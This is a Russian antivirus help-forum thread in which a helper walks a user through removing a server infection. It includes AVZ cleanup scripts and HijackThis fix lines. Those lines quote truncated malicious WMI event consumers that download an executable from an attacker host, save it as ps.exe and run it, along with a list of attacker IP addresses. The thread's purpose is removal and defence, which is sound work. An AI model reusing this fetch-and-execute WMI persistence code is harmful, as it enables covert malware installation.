Показано с 1 по 5 из 5.

Большое количество соединений с непонятными адресами и долгий вход в систему по утрам. [Trojan.Win32.Agentb.jagl, Trojan-Downloader.BAT.Agent.sk] (заявка № 220165)

  1. #1
    Junior Member Репутация
    Регистрация
    05.09.2018
    Сообщений
    2
    Вес репутации
    1

    Большое количество соединений с непонятными адресами и долгий вход в систему по утрам. [Trojan.Win32.Agentb.jagl, Trojan-Downloader.BAT.Agent.sk]

    Добрый вечер! Проблема началась с того что приходили спецы из сбера подключить эквайринг и тыкались своими "общестенными флешками" везде в т.ч. в сервак куда никто никогда не допускался кроме руководителя. Руководитель без задней мысли дал им все доступы и те затащили на сервак троян. Который на след же день был обнаружен, и удален куреитом (Trojan.MulDrop8.29071). Но с того дня по утрам наблюдался долгий вход в систему (долго висит с сообщением работает служба пользователей) и высокая сетевая активность несколько раз выскакивали ошибки при подключении к mssql о переполнении сокета буфер мал и переполнен, открыл TPCView было куча подлючений с левых ip в статусе close_wait по PID выявил процесс снес этот файл (после на сокет не ругался больше), полез проверять автозагрузку увидел что в ней прописался батник снес его, предже сделал на всякий копию текста (приложил во вложении). на след день увидел опять кучу подключений у процесса msinfo.exe небольшую часть приложил на скрине. Решил поковыряться в базе в Агенте SQL Servera увидел задачи которых не было и обьявились они имено с того числа и часть из них напомнила имена папок из батника (Скрин приложил задачи в агенте отрубил по пока не удалял). Решил что лучше обратиться к более компетентным в этом вопросе людям, вот собственно я и тут) Заранее спасибо за уделенное время и помощь.
    Изображения Изображения
    • Тип файла: jpg 123.jpg (145.1 Кб, 1 просмотров)
    • Тип файла: jpg sql.jpg (35.0 Кб, 1 просмотров)
    Вложения Вложения

  2. Будь в курсе!
    Реклама на VirusInfo

    Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

    Anti-Malware Telegram
     

  3. #2
    Cyber Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для Info_bot
    Регистрация
    11.05.2011
    Сообщений
    2,469
    Вес репутации
    347
    Уважаемый(ая) Millka, спасибо за обращение на наш форум!

    Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

    information

    Информация

    Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.





    Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

  4. #3
    Senior Helper Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    06.05.2008
    Адрес
    Тула
    Сообщений
    28,473
    Вес репутации
    878
    Выполните скрипт в AVZ:
    Код:
    begin
     TerminateProcessByName('c:\windows\system\msinfo.exe');
     QuarantineFile('c:\windows\system\msinfo.exe', '');
     QuarantineFile('c:\windows\system\my1.bat', '');
     QuarantineFile('c:\windows\system32\wbem\123.bat', '');
     QuarantineFileF('C:\Program Files\kugou2010', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.js', true, '', 0, 0);
     QuarantineFileF('C:\Program Files\shengda', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.js', true, '', 0, 0);
     DeleteFile('C:\Users\Администратор\WINDOWS\Tasks\my1.job', '64');
     DeleteFile('c:\windows\system\msinfo.exe', '');
     DeleteFile('c:\windows\system\my1.bat', '');
     DeleteFile('c:\windows\system32\wbem\123.bat', '64');
     DeleteFile('E:\autorun.inf', '');
     ExecuteFile('schtasks.exe', '/delete /TN "my1" /F', 0, 15000, true);
     DeleteFileMask('C:\Program Files\kugou2010', '*', true);
     DeleteFileMask('C:\Program Files\shengda', '*', true);
     DeleteDirectory('C:\Program Files\kugou2010');
     DeleteDirectory('C:\Program Files\shengda');
     RegKeyParamDel('HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run-', 'BGClients');
     CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
    ExecuteSysClean;
     ExecuteWizard('SCU', 2, 2, true);
    end.
    Запустите HijackThis, расположенный в папке Autologger и пофикситеWindows Vista/7/8/10 необходимо запускать через правую кнопку мыши Запуск от имени администратора)):
    Код:
    O25 - WMI Event: [fuckyoumm2_consumer] fuckyoumm2_filter - var x = new ActiveXObject("Microsoft.XMLHTTP");x.Open("GET", "http://down.mys2018.xyz:280/psa.jpg",0);x.Send();var s = new ActiveXObject("ADODB.Stream");s.Mode = 3;s.Type = 1;s.Open();s.Write(x.responseBody);s.SaveToFile("C:\\\\WINDOWS\\\\ps.exe",2);var r = new ActiveXObject("WScript.Shell.1");r.Run(328 bytes)
    O25 - WMI Event: [fuckyoumm_consumer] fuckyoumm_filter - var toff=3000;var fso=new ActiveXObject("Scripting.FilesystemObject");var http=new ActiveXObject("Msxml2.ServerXMLHTTP");if(!fso.FileExists('wpd.xml')){var f=fso.CreateTextFile('wpd.xml',2);f.writeLine('54.255.141.50'+'\r\n'+'78.142.29.152'+'\r\n'+'74.222.14.61'+'\r\n'+'70.39.124.66');f.Close();}var(2698 bytes)
    Пожалуйста, перезагрузите компьютер вручную.

    В папке с AVZ появится архив карантина quarantine.zip, отправьте этот файл по ссылке "Прислать запрошенный карантин" над над первым сообщением в теме.

    Выполните скрипт в AVZ при наличии доступа в интернет:
    Код:
    var
    LogPath : string;
    ScriptPath : string;
    
    begin
     LogPath := GetAVZDirectory + 'log\avz_log.txt';
     if FileExists(LogPath) Then DeleteFile(LogPath);
     ScriptPath := GetAVZDirectory +'ScanVuln.txt';
    
      if DownloadFile('http://dataforce.ru/~kad/ScanVuln.txt', ScriptPath, 1) then ExecuteScript(ScriptPath) else begin
        if DownloadFile('http://dataforce.ru/~kad/ScanVuln.txt', ScriptPath, 0) then ExecuteScript(ScriptPath) else begin
           ShowMessage('Невозможно загрузить скрипт AVZ для обнаружения наиболее часто используемых уязвимостей!');
           exit;
          end;
      end;
     if FileExists(LogPath) Then ExecuteFile('notepad.exe', LogPath, 1, 0, false)
    end.
    После его работы, если будут найдены уязвимости, в блокноте откроется файл avz_log.txt, прикрепите его к сообщению.

    Скачайте утилиту Universal Virus Sniffer отсюда и сделайте полный образ автозапуска uVS.
    WBR,
    Vadim

  5. #4
    Junior Member Репутация
    Регистрация
    05.09.2018
    Сообщений
    2
    Вес репутации
    1
    Скрипты выполнил, карантин прикрепил! AVZ в сообщениях выдал ошибку прямого доступа к одному из батников, это как раз был тот батник который я удалил и его текст в первом сообщении.

    Скрипт после перезагрузки запустил но avz_log.txt прикрепить не могу форум не дает т.к. лимит по вложениям стоит его текст:

    Код:
    Поиск критических уязвимостей
    Отключён запрос UAC (контроля учётных записей) на повышение прав для администраторов.
    https://support.microsoft.com/ru-ru/...c-from-viruses
    
    Обнаружено уязвимостей: 1
    Образ автозапуска во вложении
    Вложения Вложения

  6. #5
    Senior Helper Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    06.05.2008
    Адрес
    Тула
    Сообщений
    28,473
    Вес репутации
    878
    Порядок. Проявлений троянов больше не видно?
    WBR,
    Vadim

Похожие темы

  1. Большое количество процессов calc.exe*32
    От Best_win_dl в разделе Помогите!
    Ответов: 2
    Последнее сообщение: 14.05.2017, 20:10
  2. Большое количество рекламы в браузере
    От Rimi в разделе Помогите!
    Ответов: 13
    Последнее сообщение: 30.10.2014, 22:25
  3. Большое количество svchost.exe
    От turutu в разделе Помогите!
    Ответов: 4
    Последнее сообщение: 17.05.2011, 00:07
  4. Ответов: 5
    Последнее сообщение: 20.05.2009, 06:13
  5. Ответов: 1
    Последнее сообщение: 16.06.2008, 00:24

Свернуть/Развернуть Ваши права в разделе

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Page generated in 0.01108 seconds with 17 queries